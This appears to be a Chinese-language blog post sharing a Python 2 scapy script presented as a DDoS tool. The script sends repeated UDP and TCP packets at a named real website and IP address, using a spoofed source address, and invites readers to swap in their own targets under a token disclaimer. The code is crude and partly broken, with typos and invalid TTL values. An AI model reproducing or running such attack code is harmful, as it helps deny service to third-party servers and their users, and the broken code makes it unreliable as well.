前言:突然想写,然后去了解原理
DDOS原理:往指定的IP发送数据包(僵尸网络),导致服务器
拒绝服务,无法正常访问。
0x01:
要用到的模块
scapy模块 pip install scapy 或: https://github.com/phaethon/scapy 下载setup.py 然后执行python setup.py install
系统环境:kali Linux
windows会报模块缺少还有一个162行的windows.dll的错误
打大站,妹的。恶心的一片的站
0x03
代码分析:
#-*- coding:'utf-8' -*- import time import struct from threading import * import socket from scapy.all import * start=time.time() screenlock=Semaphore(value=1000) print '[^]HAQ DDOs start!' def DDos(): try: print '[*]Second layers of DDos' s=srp(IP(dst="www.dgjy.net",ttl=480)/UDP())#第二层攻击 print s[0].show() except Exception,e: print '[-]The cause of the mistake {}'.format(e) try: print '[*]Third layer DDos' p = srloop(IP(dst="www.dgjy.net", ttl=160) / UDP())#第三层攻击 print p[0].show() except Exception,s: print '[-]The cause of the mistake{}'.format(s) try: print '[*]Repeated attacks' see=srp(IP(dst="113.108.127.169")/TCP(dport=[80,443]))#重复攻击 print see[0].show() except Exception,f: print '[-]The cause of the mistake{}'.format(f) try: data = struct. pack ('=BHI',0x96,20,1000) pkt = IP(src='192.168.225.141',dst='113.108.127.169')/UDP(sport= 12345,dport=[80,443])/data print '[*]DDoS attacks are being carried out!' screenlock.acquire() send (pkt,inter= 1 ,count= 160) except Exception,g: print "[-]The cause of the mistake{}".format(g) try: print '[*]DDos' gp=sr1(IP(dst="www.dgjy.net",tll=(1,160))/UDP()) except Exception,i: print '[-]cause of the mistake{}'.format(i) t = Thread(target=DDos, args=()) t.start() end=time.time() print '[!]Time consuming of this program,The first time is the initialization time:',end-start
食用文档:https://phaethon.github.io/scapy/api/usage.html#starting-scapy
github下载地址:https://github.com/422926799/python
自己修改目标
恶意攻击他人服务器出事请自行负责。